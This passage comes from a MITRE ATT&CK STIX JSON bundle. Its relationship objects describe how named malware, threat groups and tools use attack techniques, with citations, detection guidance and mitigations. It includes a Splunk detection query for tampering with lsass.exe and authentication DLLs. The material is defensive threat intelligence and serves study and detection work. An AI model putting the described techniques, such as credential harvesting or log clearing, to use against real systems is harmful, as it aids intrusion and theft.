providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)","modified":"2022-04-20T03:07:17.564Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--167b48f7-76e9-4fcb-9e8d-7121f7bf56c3","target_ref":"attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aeda6707-50e2-47e2-833a-18e4a5d73e88","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T21:09:59.237Z","description":"The initial beacon packet for [Mis-Type](https://attack.mitre.org/software/S0084) contains the operating system version and file system of the victim.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aee0e283-5bbd-4332-af46-f477d3ce38d6","type":"relationship","created":"2020-02-04T12:59:37.774Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-04T12:59:37.774Z","relationship_type":"revoked-by","source_ref":"attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286","target_ref":"attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--aee29ae1-4544-4fc8-b30b-4717888991ca","created":"2020-07-15T19:28:00.717Z","x_mitre_version":"1.0","external_references":[{"source_name":"Gh0stRAT ATT March 2019","url":"https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant","description":"Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[gh0st RAT](https://attack.mitre.org/software/S0032) has gathered system architecture, processor, OS configuration, and installed hardware information.(Citation: Gh0stRAT ATT March 2019)","modified":"2022-04-15T15:11:09.987Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aee478b7-c5f5-4d31-8df7-bd44fca1d677","created":"2022-09-26T19:58:17.721Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bleeping Computer Op Sharpshooter March 2019","description":"I. Ilascu. (2019, March 3). Op 'Sharpshooter' Connected to North Korea's Lazarus Group. Retrieved September 26, 2022.","url":"https://www.bleepingcomputer.com/news/security/op-sharpshooter-connected-to-north-koreas-lazarus-group/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T20:02:14.658Z","description":"[Rising Sun](https://attack.mitre.org/software/S0448) variants can use SSL for encrypting C2 communications.(Citation: Bleeping Computer Op Sharpshooter March 2019)","relationship_type":"uses","source_ref":"malware--56e6b6c2-e573-4969-8bab-783205cebbbf","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aee59ac6-e6e6-4b35-b2ce-4e529d4efc4b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Gorgon Group Aug 2018","description":"Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}],"modified":"2020-03-17T14:41:19.008Z","description":"[Gorgon Group](https://attack.mitre.org/groups/G0078) attempted to get users to launch malicious Microsoft Office attachments delivered via spearphishing emails.(Citation: Unit 42 Gorgon Group Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aeea094c-6ea6-4b32-b723-bb475cf42681","type":"relationship","created":"2019-12-20T13:42:28.066Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/","description":"Lin, P. (2015, July 13). Hacking Team Uses UEFI BIOS Rootkit to Keep RCS 9 Agent in Target Systems. Retrieved December 11, 2015.","source_name":"TrendMicro Hacking Team UEFI"}],"modified":"2019-12-20T13:42:28.066Z","description":"[Hacking Team UEFI Rootkit](https://attack.mitre.org/software/S0047) is a UEFI BIOS rootkit developed by the company Hacking Team to persist remote access software on some targeted systems.(Citation: TrendMicro Hacking Team UEFI) ","relationship_type":"uses","source_ref":"malware--4b62ab58-c23b-4704-9c15-edd568cd59f8","target_ref":"attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aef318b0-ef4a-412b-b241-d9cc58f8d924","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aef68e46-d1e1-49b9-aade-6c1bf226e053","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"}],"modified":"2020-08-17T14:08:26.521Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can list information about files in a directory and recently opened or used documents. [InvisiMole](https://attack.mitre.org/software/S0260) can also search for specific files by supplied file mask.(Citation: ESET InvisiMole June 2018)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--aef756f0-f34d-4cae-a16d-65e456f75c35","created":"2022-07-07T14:49:57.715Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft POLONIUM June 2022","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CreepyDrive](https://attack.mitre.org/software/S1023) can upload files to C2 from victim machines.(Citation: Microsoft POLONIUM June 2022)","modified":"2022-07-25T16:18:01.770Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--750eb92a-7fdf-451e-9592-1d42357018f1","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aef7fe44-f381-41d5-88af-f04135e3aeab","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub Responder","description":"Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.","url":"https://github.com/SpiderLabs/Responder"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Responder](https://attack.mitre.org/software/S0174) is used to poison name services to gather hashes and credentials from systems within a local network.(Citation: GitHub Responder)","relationship_type":"uses","source_ref":"tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719","target_ref":"attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aefa2807-65bf-4b81-b91b-d8ec2dfbd80b","type":"relationship","created":"2020-10-20T15:42:48.288Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-16T17:07:59.801Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aefb92ff-56e9-47d9-adc9-ed504f271863","type":"relationship","created":"2020-08-13T18:21:08.344Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks MCMD July 2019","url":"https://www.secureworks.com/research/mcmd-malware-analysis","description":"Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."}],"modified":"2020-08-13T18:21:08.344Z","description":"[MCMD](https://attack.mitre.org/software/S0500) can Base64 encode output strings prior to sending to C2.(Citation: Secureworks MCMD July 2019)","relationship_type":"uses","source_ref":"tool--975737f1-b10d-476f-8bda-3ec26ea57172","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aeffbd1d-a962-492a-a6bf-670b70f01abb","type":"relationship","created":"2021-03-25T14:13:41.447Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Google Election Threats October 2020","url":"https://blog.google/threat-analysis-group/how-were-tackling-evolving-online-threats/","description":"Huntley, S. (2020, October 16). How We're Tackling Evolving Online Threats. Retrieved March 24, 2021."},{"source_name":"Zscaler APT31 Covid-19 October 2020","url":"https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online","description":"Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}],"modified":"2021-03-25T14:13:41.447Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used malicious links in e-mails to lure victims into downloading malware.(Citation: Google Election Threats October 2020)(Citation: Zscaler APT31 Covid-19 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--af009cfc-2b1f-4c4c-8712-0c13a2884d8e","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Trojan.Hydraq Jan 2010","description":"Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.","url":"https://www.symantec.com/connect/blogs/trojanhydraq-incident"},{"source_name":"Symantec Hydraq Jan 2010","description":"Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"}],"modified":"2020-02-18T03:48:53.732Z","description":"[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can clear all system event logs.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)","relationship_type":"uses","source_ref":"malware--73a4793a-ce55-4159-b2a6-208ef29b326f","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--af052dd3-641e-4954-a08f-74d56ad29b53","type":"relationship","created":"2021-03-05T18:54:56.544Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Higaisa 2020","url":"https://www.zscaler.com/blogs/security-research/return-higaisa-apt","description":"Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."}],"modified":"2021-03-05T18:54:56.544Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) used AES-128 to encrypt C2 traffic.(Citation: Zscaler Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--af0b0bfb-1a1e-4a06-b9e9-adeda7b6ad81","type":"relationship","created":"2017-05-31T21:33:27.053Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","source_name":"Baumgartner Naikon 2015"},{"source_name":"CameraShy","description":"ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015.","url":"http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf"}],"modified":"2019-04-10T15:59:09.336Z","description":"(Citation: Baumgartner Naikon 2015)(Citation: CameraShy)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--af0f063e-811e-40fd-8ea4-135bf10f95b7","created":"2023-09-05T18:07:51.258Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:34:13.642Z","description":"[Sardonic](https://attack.mitre.org/software/S1085) has the ability to call Win32 API functions to determine if `powershell.exe` is running.(Citation: Bitdefender Sardonic Aug 2021) ","relationship_type":"uses","source_ref":"malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--af1514c0-0e58-4878-a409-9804a7ce5e0b","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.group-ib.com/files/Anunak_APT_against_financial_institutions.pdf","description":"Group-IB and Fox-IT. (2014, December). Anunak: APT against financial institutions. Retrieved April 20, 2016.","source_name":"Group-IB Anunak"}],"modified":"2019-12-27T15:48:40.321Z","description":"[Carbanak](https://attack.mitre.org/groups/G0008) used legitimate programs such as AmmyyAdmin and Team Viewer for remote interactive C2 to target systems.(Citation: Group-IB Anunak)","relationship_type":"uses","source_ref":"intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--af1e6f67-b513-42f7-b5df-dfb04b38caf6","created":"2019-07-19T14:34:28.783Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ready.gov IT DRP","description":"Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.","url":"https://www.ready.gov/business/implementation/IT"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T14:50:20.997Z","description":"Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.","relationship_type":"mitigates","source_ref":"course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--af1edc78-f0b2-450c-b91f-fe1646589173","type":"relationship","created":"2020-06-30T00:39:39.953Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos Ragnar May 2020","url":"https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/","description":"SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."}],"modified":"2020-06-30T00:39:39.953Z","description":"[Ragnar Locker](https://attack.mitre.org/software/S0481) has used regsvr32.exe to execute components of VirtualBox.(Citation: Sophos Ragnar May 2020)","relationship_type":"uses","source_ref":"malware--54895630-efd2-4608-9c24-319de972a9eb","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--af1fc367-9987-4076-9ce6-2414cd2d4a1f","type":"relationship","created":"2020-05-15T16:50:05.777Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Infoblox Lokibot January 2019","url":"https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22","description":"Hoang, M. (2019, January 31). Malicious Activity Report: Elements of Lokibot Infostealer. Retrieved May 15, 2020."}],"modified":"2020-05-15T16:50:05.777Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) has the ability to copy itself to a hidden file and directory.(Citation: Infoblox Lokibot January 2019)","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--af2ed82a-83d6-4fea-b8d0-30c7d0fd8682","created":"2022-03-30T14:26:51.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Dell Skeleton","description":"Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.","url":"https://www.secureworks.com/research/skeleton-key-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-21T15:20:24.563Z","description":"Monitor for changes to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\n\nAnalytic 1 - Unauthorized changes to authentication-related DLLs.\n\nindex=windows sourcetype=WinEventLog:Security \n(\n (EventCode=4663 AND Object_Type=\"File\" AND Object_Name IN (\"C:\\\\Windows\\\\System32\\\\lsass.exe\", \"C:\\\\Windows\\\\System32\\\\samlib.dll\", \"C:\\\\Windows\\\\System32\\\\cryptdll.dll\", \"C:\\\\Windows\\\\System32\\\\samsrv.dll\"))\n OR (EventCode=4662 AND Object_Type=\"File\" AND Object_Name IN (\"C:\\\\Windows\\\\System32\\\\lsass.exe\", \"C:\\\\Windows\\\\System32\\\\samlib.dll\", \"C:\\\\Windows\\\\System32\\\\cryptdll.dll\", \"C:\\\\Windows\\\\System32\\\\samsrv.dll\"))\n OR (EventCode=4670 AND Object_Name IN (\"C:\\\\Windows\\\\System32\\\\lsass.exe\", \"C:\\\\Windows\\\\System32\\\\samlib.dll\", \"C:\\\\Windows\\\\System32\\\\cryptdll.dll\", \"C:\\\\Windows\\\\System32\\\\samsrv.dll\"))\n) ","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--af2fa05b-f278-448e-aa8b-6e24af194484","created":"2024-09-06T21:50:06.159Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T21:50:06.159Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has obtained exploitation scripts against publicly-disclosed vulnerabilities from public repositories.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--f4b843c1-7e92-4701-8fed-ce82f8be2636","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--af2fe9ce-36bf-487c-bb71-7190aed28c55","created":"2024-08-13T20:31:34.551Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T20:35:07.581Z","description":"During [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors initiated a process named Mellona.exe to spread the [ROADSWEEP](https://attack.mitre.org/software/S1150) file encryptor and a persistence script to a list of internal machines.(Citation: CISA Iran Albanian Attacks September 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--af340193-ba4f-47bf-a610-54235946ee1c","created":"2024-03-15T18:11:14.594Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Security Mispadu Facebook Ads 2019","description":"ESET Security. (2019, November 19). Mispadu: Advertisement for a discounted Unhappy Meal. Retrieved March 13, 2024.","url":"https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-15T18:11:32.380Z","description":"[Mispadu](https://attack.mitre.org/software/S1122) can enumerate the running processes on a compromised host.(Citation: ESET Security Mispadu Facebook Ads 2019)","relationship_type":"uses","source_ref":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--af393cd2-2a5a-41f8-a1b1-218f30beb4dd","type":"relationship","created":"2019-06-21T12:06:48.737Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-02-09T15:07:01.031Z","description":"If msxsl.exe is unnecessary, then block its execution to prevent abuse by 